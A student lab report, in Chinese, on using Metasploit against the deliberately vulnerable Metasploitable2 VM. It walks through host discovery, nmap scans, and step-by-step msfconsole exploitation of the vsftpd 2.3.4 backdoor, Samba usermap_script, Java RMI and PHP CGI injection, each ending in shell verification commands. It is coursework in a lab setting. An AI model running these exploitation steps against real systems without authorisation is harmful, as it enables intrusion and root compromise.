20232303 2025-2026-1 《网络与系统攻防技术》实验六实验报告
20232303 2025-2026-1 《网络与系统攻防技术》实验六实验报告
1. 实验内容
本实践目标是掌握metasploit的用法,具体完成以下实验内容:
- 前期渗透
- Vsftpd源码包后门漏洞(21端口)
- SambaMS-RPC Shell命令注入漏洞(端口139)
- Java RMI SERVER命令执行漏洞(1099端口)
- PHP CGI参数执行注入漏洞(80端口)
1.1 Metasploit框架简介
Metasploit Framework(MSF)是一款开源的安全漏洞利用和测试工具,由HD Moore于2003年发布,并在2007年使用Ruby语言重写。它集成了各种平台上常见的溢出漏洞和流行的shellcode,是信息安全与渗透测试领域最流行的工具之一。
主要功能:
- 信息收集:通过各种辅助模块进行端口扫描、服务识别等
- 漏洞探测:内置数千个已知的软件漏洞,并持续更新
- 漏洞利用:利用目标系统中的已知漏洞进行攻击
- 后渗透攻击:在取得目标系统控制权后,执行进一步的攻击动作
主要组件:
- Exploits(漏洞利用模块):负责利用目标系统的漏洞进行攻击
- Payloads(攻击载荷):在成功利用漏洞后执行的代码或指令
- Auxiliary(辅助模块):执行信息收集、扫描、嗅探等功能
- Encoders(编码器):对Payload进行加密,绕过安全软件检测
- Post(后渗透模块):在取得目标系统控制权后执行的进一步操作
2. 实验过程
2.1 环境安装
下载官方靶机Metasploitable2,导入VMWare中。
Metasploitable 虚拟机是 Ubuntu Linux 的一个有意存在漏洞版本,旨在测试安全工具并展示常见漏洞。

2.2 前期渗透
2.2.1 主机发现
首先登录Metasploitable2靶机,获取其IP地址:
登录凭据:
- 用户名:
msfadmin - 密码:
msfadmin
登录后,执行以下命令查看靶机IP地址:
ifconfig

在Kali攻击机上启动Metasploit,使用辅助模块中的arp_sweep进行主机发现。
- 启动Metasploit控制台:
msfconsole
- 搜索并使用arp_sweep模块:
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
- 查看模块参数:
show options
- 设置扫描参数并执行:
set RHOSTS 192.168.140.0/24
set THREADS 30 # 设置线程数,提高扫描速度
run

可以看到靶机在线并且给出了其网卡标识为VMWare,Inc.说明这是一台VMware虚拟机
2.2.2 端口扫描
方法一:使用nmap进行端口扫描
nmap -v 192.168.140.143

或者进行更详细的全端口扫描:
nmap -p- 192.168.140.143 # 扫描所有端口

方法二:使用Metasploit的portscan/tcp模块
search portscan/tcp
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.140.143
run

2.2.3 扫描系统版本
扫描服务版本和操作系统:
nmap -sV -O 192.168.140.143
-sV:探测服务版本
-O:探测操作系统版本

可以看到扫描出了大量网络服务,包括FTP、SSH、HTTP、Samba、数据库(MySQL、PostgreSQL)及多个远程管理服务(rpcbind、NFS),并且Nmap成功探测出了大部分服务的具体版本号(如vsftpd 2.0.5、OpenSSH 4.3)。同时,扫描还识别出目标操作系统为Linux 2.6.X内核。
2.3 Vsftpd源码包后门漏洞(21端口)
2.3.1 漏洞原理
Vsftpd源码包后门漏洞(CVE-2011-2523),又称"笑脸漏洞"。在vsftpd 2.3.4版本中,被人恶意植入了后门代码。当用户在登录时输入的用户名以特定字符"😃"结尾时,服务器会在6200端口打开一个监听的shell,并且该服务以root权限运行,攻击者可以通过这个后门获得未经授权的访问权限并执行任意代码。
2.3.2 漏洞利用步骤
- 在Kali中启动msfconsole:
msfconsole
- 搜索并选择漏洞利用模块:
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
- 查看模块参数:
show options
- 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143
run

- 攻击成功后,执行验证命令:
uname -a # 查看系统信息
pwd # 查看当前目录
id # 查看当前用户权限
whoami # 查看当前用户

攻击成功后执行验证命令的结果如上图所示,获得了root权限
2.4 Samba MS-RPC Shell命令注入漏洞(139端口)
2.4.1 漏洞原理
Samba是一套可使UNIX系列操作系统与Windows操作系统的SMB/CIFS网络协议进行连接的自由软件。在Samba 3.0.20至3.0.25rc3版本中存在命令注入漏洞。
Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。由于此选项用于在身份验证之前映射用户名,因此不需要身份验证即可利用此漏洞。
2.4.2 漏洞利用步骤
- 搜索并选择漏洞利用模块:
search usermap_script
use exploit/multi/samba/usermap_script
- 查看模块参数:
show options
- 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143
run

- 攻击成功后,执行验证命令:
uname -a # 查看系统信息
pwd # 查看当前目录
id # 查看当前用户权限
ls # 列出当前目录文件

攻击成功后执行验证命令的结果如上图所示
2.5 Java RMI SERVER命令执行漏洞(1099端口)
2.5.1 漏洞原理
Java RMI(Remote Method Invocation)是一种允许在不同Java虚拟机之间进行方法调用的分布式计算技术。Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致远程代码执行。
该漏洞主要涉及序列化和反序列化过程中的安全风险。Java RMI默认使用序列化来完成所有的交互,如果RMI服务的1099端口暴露,攻击者就可以在目标系统上执行任意代码。
2.5.2 漏洞利用步骤
- 首先确认1099端口是否开放:
nmap -p 1099 192.168.140.143

确认开放
- 搜索并选择漏洞利用模块:
search java_rmi_server
use exploit/multi/misc/java_rmi_server
- 查看模块参数:
show options
- 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143
run

- 攻击成功后,会建立meterpreter会话。查看会话:
sessions # 列出所有会话
sessions -i 1 # 进入会话(数字为会话ID,根据实际情况修改)
- 在meterpreter中获取shell并验证:
shell # 获取目标系统shell
whoami # 查看当前用户
id # 查看用户权限
uname -a # 查看系统信息

成功建立会话并执行验证命令的结果如上图所示
2.6 PHP CGI参数执行注入漏洞(80端口)
2.6.1 漏洞原理
PHP CGI参数注入漏洞(CVE-2012-1823)是由于CGI脚本没有正确处理请求参数导致的。当PHP以CGI模式运行时,如果没有正确处理查询字符串参数,攻击者可以通过在URL中插入特定参数来执行任意代码。
该漏洞允许远程攻击者通过在请求参数中插入执行命令,导致源代码泄露或远程代码执行。
2.6.2 漏洞利用步骤
- 搜索并选择漏洞利用模块:
search php_cgi_arg_injection
use exploit/multi/http/php_cgi_arg_injection
- 查看模块参数:
show options
- 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143
run

- 攻击成功后,会建立meterpreter会话。获取shell并验证:
shell # 获取目标系统shell
whoami # 查看当前用户
pwd # 查看当前目录
ls # 列出目录内容
uname -a # 查看系统信息

成功获取shell并执行验证命令的结果如上图所示。
3. 问题及解决方案
整体做下来没有遇到什么问题,原理方面需要再深入理解一下。
4. 学习感悟与思考
通过本次实验,我对Metasploit框架的实际应用有了更深入的理解。从前期的信息收集到漏洞利用,再到后期的权限维持,我体会到渗透测试是一个系统性工程,每一步都需要严谨和耐心。尤其是在利用Vsftpd后门漏洞和Samba命令注入漏洞的过程中我意识到不同服务漏洞的利用方式各有特点,需要灵活调整策略。
在实践过程中,我不仅掌握了Metasploit模块的选择与参数配置方法,也认识到自动化工具背后依赖的是对漏洞原理的深刻理解。例如Java RMI反序列化漏洞的利用,让我体会到漏洞成因与利用条件之间的关联性,这提醒我在今后的学习中不能只停留在工具操作层面,更要注重底层机制的分析。
这次实验也让我对网络攻防的对抗性有了更直观的感受。作为防御方,需要及时修补漏洞、关闭不必要的服务端口;而作为攻击方,则要善于利用服务配置弱点。这种双向视角的锻炼,有助于我在未来工作中更全面地评估系统安全性。
最后,通过亲手完成从渗透到控制靶机的全过程,我不仅巩固了课堂所学的知识,也增强了解决实际问题的能力。这种理论与实践结合的方式,让我对网络安全领域的学习产生了更浓厚的兴趣,也认识到持续跟进最新漏洞和攻防技术的重要性。

浙公网安备 33010602011771号